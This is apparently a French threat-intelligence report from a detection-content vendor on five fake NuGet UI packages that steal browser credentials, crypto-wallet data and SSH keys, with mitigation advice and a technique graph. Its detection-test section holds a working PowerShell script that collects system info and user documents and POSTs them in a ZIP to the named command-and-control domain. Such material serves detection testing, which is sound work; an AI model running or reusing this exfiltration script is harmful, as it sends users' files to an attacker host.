Cinq faux paquets NuGet d’interface utilisateur livrent des voleurs de portefeuilles crypto et d’identifiants

Ruslan Mikhalov Chef de la Recherche sur les Menaces chez SOC Prime

Suivre

Cinq faux paquets NuGet d’interface utilisateur livrent des voleurs de portefeuilles crypto et d’identifiants

Detection stack

AIDR
Alert
ETL
Query

Rapport
Flux d'Attaque
Détections
Simulations

Résumé

Cinq paquets NuGet publiés sous le compte bmrxntfj imitent des bibliothèques UI .NET chinoises bien connues et intègrent un voleur d’informations protégé avec .NET Reactor. La charge utile malveillante s’active dès que la DLL est chargée, détourne le compilateur JIT et vole les identifiants du navigateur, les données des portefeuilles de cryptomonnaie, les clés SSH et les fichiers locaux avant de les exfiltrer vers un domaine de commandement et de contrôle nouvellement enregistré. Des changements de version fréquents et des listes de paquets cachés aident à éviter les détections simples basées sur les hachages, créant un risque pour les postes de travail des développeurs et les environnements CI/CD.

Investigation

Les chercheurs ont dépaqueté le malware protégé par .NET Reactor, identifié un assembly .NET de seconde étape nommé we4ftg.exe, et ont récupéré des chaînes de configuration de la mémoire. Leur analyse a montré quels navigateurs et quelles extensions de portefeuilles ont été ciblés, documenté un schéma d’en-tête HTTP personnalisé, et identifié un emplacement de mise en scène sous le répertoire OneDrive. L’enquête a également révélé des détails d’infrastructure, y compris le domaine de commandement et de contrôle, son adresse IP, et un serveur Git privé associé.

Atténuation

Les défenseurs devraient bloquer la résolution DNS et le trafic sortant vers le domaine et l’adresse IP de commandement et de contrôle identifiés, surveiller la création du fichier keys.dat dans le dossier OneDrive, et alerter sur l’en-tête HTTP personnalisé X-xxx . Tous les paquets IR.* devraient être retirés des arbres de dépendance et remplacés par des bibliothèques légitimes vérifiées. Tous les identifiants, jetons, et secrets potentiellement exposés devraient être immédiatement tournés.

Réponse

Tout système qui a restauré ou chargé l’un des paquets malveillants paquets IR.* devrait être traité comme compromis, isolé et soumis à une rotation complète des identifiants. Le contenu de la détection devrait être mis à jour avec les indicateurs publiés, et les équipes devraient se coordonner avec les administrateurs de la galerie NuGet pour s’assurer que les paquets malveillants sont retirés et le compte éditeur suspendu.

"graph TB %% Class definitions classDef technique fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef data fill:#ccffcc classDef operator fill:#ff9900 %% Nodes – Techniques tech_supply_chain["Technique – T1195.002 Compromission de la chaîne d’approvisionnement Description: Compromission d’une chaîne d’approvisionnement logicielle pour injecter du code malveillant dans des paquets légitimes."] class tech_supply_chain technique tech_appdomain_hijack["Technique – T1574.014 Détournement du flux d’exécution : Gestionnaire d’AppDomain .NET Description: Les adversaires détournent le .NET AppDomainManager pour exécuter du code avant que l’application prévue ne commence."] class tech_appdomain_hijack technique tech_obfuscation["Technique – T1027 Fichiers ou informations obfusqués Description: Utilisation d’emballage, de chiffrement ou d’autres méthodes pour masquer le code ou les données malveillants."] class tech_obfuscation technique tech_trusted_dev_proxy["Technique – T1127 Exécution par proxy d’utilitaires de développeur de confiance Description: Abus des utilitaires de développeur légitimes ou des gestionnaires de paquets pour exécuter du code malveillant."] class tech_trusted_dev_proxy technique tech_software_ext["Technique – T1176 Extensions logicielles Description: Exploitation d’extensions logicielles ou de plug-ins pour obtenir une exécution."] class tech_software_ext technique tech_process_discovery["Technique – T1057 Découverte de processus Description: Énumération des processus en cours d’exécution sur le système victime."] class tech_process_discovery technique tech_file_dir_discovery["Technique – T1083 Découverte de fichiers et de répertoires Description: Liste des fichiers et répertoires pour localiser des données précieuses."] class tech_file_dir_discovery technique tech_browser_info["Technique – T1217 Découverte des informations du navigateur Description: Rassemblement d’informations sur les navigateurs installés et les extensions."] class tech_browser_info technique tech_browser_credentials["Technique – T1555.003 Identifiants des navigateurs Web Description: Extraction de mots de passe enregistrés, de cookies et d’autres matériaux d’identification des navigateurs."] class tech_browser_credentials technique tech_private_keys["Technique – T1552.004 Identifiants non sécurisés : Clés privées Description: Localisation et exfiltration de clés SSH privées et d’autres clés cryptographiques."] class tech_private_keys technique tech_credentials_files["Technique – T1552.001 Identifiants dans les fichiers Description: Recherche de matériaux d’identification stockés dans les fichiers de configuration ou de données."] class tech_credentials_files technique tech_data_staged_local["Technique – T1074.001 Données mises en scène : Local Description: Les données collectées sont agrégées sur l’hôte local avant l’exfiltration."] class tech_data_staged_local technique tech_data_staged_remote["Technique – T1074.002 Données mises en scène : À distance Description: Les données sont mises en scène sur un emplacement distant tel que le stockage en nuage."] class tech_data_staged_remote technique tech_process_injection["Technique – T1055.001 Injection de processus : Injection de bibliothèque de liens dynamiques Description: Injection de DLL malveillantes dans des processus légitimes pour une exécution furtive."] class tech_process_injection technique tech_sandbox_evasion["Technique – T1497.002 Évasion de la virtualisation/sandbox : Vérifications basées sur l’activité de l’utilisateur Description: Détection des environnements sandbox en vérifiant les noms d’utilisateur ou les noms d’ordinateur connus."] class tech_sandbox_evasion technique tech_c2_web["Technique – T1071.001 Protocole de couche application : Protocoles Web Description: Utilisation de HTTP/S pour communiquer avec les serveurs de commandement et de contrôle."] class tech_c2_web technique tech_junk_data["Technique – T1001.001 Obfuscation des données : Données inutiles Description: Ajout de bruit aléatoire aux charges utiles réseau pour entraver la détection."] class tech_junk_data technique %% Nodes – Tools and Malware tool_nuget_pkg["Outil – Nom: Paquet NuGet malveillant IR.* Description: Paquets publiés sur NuGet qui imitent des bibliothèques .NET chinoises légitimes et sont récupérés lors de la restauration."] class tool_nuget_pkg tool tool_dotnet_reactor["Outil – Nom: .NET Reactor (Necrobit) Description: Emballe et chiffre des assemblages .NET, ajoute des signatures anti-altération RSA‑1024."] class tool_dotnet_reactor tool malware_payload["Malware – Nom: Charge utile .NET Reactor Description: Assemblage .NET chiffré chargé par l’initialiseur AppDomainManager."] class malware_payload malware tool_sharpinjector["Outil – Nom: SharpInjector Description: Injecteur .NET qui effectue l’injection de DLL dans des processus de longue durée tels qu’explorer.exe."] class tool_sharpinjector tool process_explorer["Processus – Nom: explorer.exe"] class process_explorer process process_dllhost["Processus – Nom: dllhost.exe"] class process_dllhost process data_staged_file["Données – Chemin: C:ProgramDataMicrosoft OneDrivekeys.dat"] class data_staged_file data %% Flow Connections tech_supply_chain –>|livre| tool_nuget_pkg tool_nuget_pkg –>|déclenche| tech_appdomain_hijack tech_appdomain_hijack –>|charge| malware_payload malware_payload –>|emballé par| tool_dotnet_reactor tool_dotnet_reactor –>|active| tech_obfuscation tech_obfuscation –>|facilite| tech_trusted_dev_proxy tech_trusted_dev_proxy –>|utilise| tech_software_ext tech_software_ext –>|active| tech_process_discovery tech_process_discovery –>|conduit à| tech_file_dir_discovery tech_file_dir_discovery –>|conduit à| tech_browser_info tech_browser_info –>|active| tech_browser_credentials tech_browser_credentials –>|collecte| tech_private_keys tech_private_keys –>|collecte| tech_credentials_files tech_credentials_files –>|prête| tech_data_staged_local tech_data_staged_local –>|écrit dans| data_staged_file data_staged_file –>|synchronise avec| tech_data_staged_remote tech_data_staged_remote –>|utilise| tool_sharpinjector tool_sharpinjector –>|injecte dans| process_explorer tool_sharpinjector –>|injecte dans| process_dllhost process_explorer –>|soutient| tech_process_injection process_dllhost –>|soutient| tech_process_injection tech_process_injection –>|vérifie pour| tech_sandbox_evasion tech_sandbox_evasion –>|permet| tech_c2_web tech_c2_web –>|transmet avec| tech_junk_data %% Class Assignments class tech_supply_chain,tech_appdomain_hijack,tech_obfuscation,tech_trusted_dev_proxy,tech_software_ext,tech_process_discovery,tech_file_dir_discovery,tech_browser_info,tech_browser_credentials,tech_private_keys,tech_credentials_files,tech_data_staged_local,tech_data_staged_remote,tech_process_injection,tech_sandbox_evasion,tech_c2_web,tech_junk_data technique class tool_nuget_pkg,tool_dotnet_reactor,tool_sharpinjector tool class malware_payload malware class process_explorer,process_dllhost process class data_staged_file data "

Flux d’attaque

Narrative & Commandes d’Attaque :
Un adversaire a compromis un paquet NuGet légitime qui, lorsqu’il est importé dans une application .NET victime, initie une charge utile PowerShell. La charge utile effectue les étapes suivantes :
1. Découverte (T1082, T1083) : Rassembler la version du système d’exploitation et énumérer les documents de l’utilisateur.
2. Collecte d’identifiants (T1552.001) : Lire les identifiants stockés dans le registre.
3. Archivage (T1560): Compresser les fichiers récoltés dans une archive ZIP.
4. Obfuscation de l’en-tête (T1027) : Ajouter un en-tête HTTP personnalisé X-Auth-Token: <chaîne‑aléatoire> pour déguiser le trafic d’exfiltration.
5. Exfiltration C2 (T1071.001, T1005, T1195.002) : POST de l’archive au serveur C2 malveillant à dns-providersa2.com (ou son IP codée en dur 62.84.102.85).
L’utilisation de X- l’en-tête satisfait directement la clause de la règle Sigma http.request.header|contains: "X-" tandis que la destination correspond à l’IoC statique.

Script de test de régression :

# -----------------------------------------------------------------
# Test de Régression – Déclencher la règle Sigma “Communication C2 Malveillante”
# -----------------------------------------------------------------
# 1. Collecter les infos système (T1082)
$sysInfo = Get-ComputerInfo | Select-Object OSName, OSVersion, WindowsDirectory

# 2. Énumérer les documents de l'utilisateur (T1083)
$docs = Get-ChildItem "$env:USERPROFILEDocuments" -Recurse -File -ErrorAction SilentlyContinue

# 3. Lire un identifiant d'exemple du registre (T1552.001)
$credPath = "HKCU:SoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU"
$storedCred = (Get-ItemProperty -Path $credPath).MRUList | Out-String

# 4. Emballer les données (T1560)
$tempZip = "$env:TEMPexfil_$(Get-Random).zip"
$items = @($sysInfo, $docs, $storedCred)
Compress-Archive -Path $items -DestinationPath $tempZip -Force

# 5. Préparer un en-tête HTTP personnalisé (obfuscation – T1027)
$authToken = "X-Auth-Token: $([guid]::NewGuid().ToString())"

# 6. Exfiltrer via HTTP POST vers le site C2 malveillant (T1071.001)
$c2 = "http://dns-providersa2.com/upload"
Invoke-WebRequest -Uri $c2 `
                  -Method Post `
                  -InFile $tempZip `
                  -ContentType "application/octet-stream" `
                  -Headers @{'X-Auth-Token' = $authToken}

# 7. Nettoyer l'artéfact local
Remove-Item $tempZip -Force

Commandes de Nettoyage :

# Supprimer tous les fichiers temporaires qui pourraient rester du test
Get-ChildItem "$env:TEMPexfil_*.zip" -ErrorAction SilentlyContinue | Remove-Item -Force

# Réinitialiser la taille du log de pare-feu (optionnel)
netsh advfirewall set allprofiles logging maxfilesize 4096

Rejoignez la plateforme Detection as Code de SOC Prime pour améliorer la visibilité sur les menaces les plus pertinentes pour votre entreprise. Pour vous aider à démarrer et à générer une valeur immédiate, planifiez dès maintenant une réunion avec des experts de SOC Prime.

Rejoindre gratuitement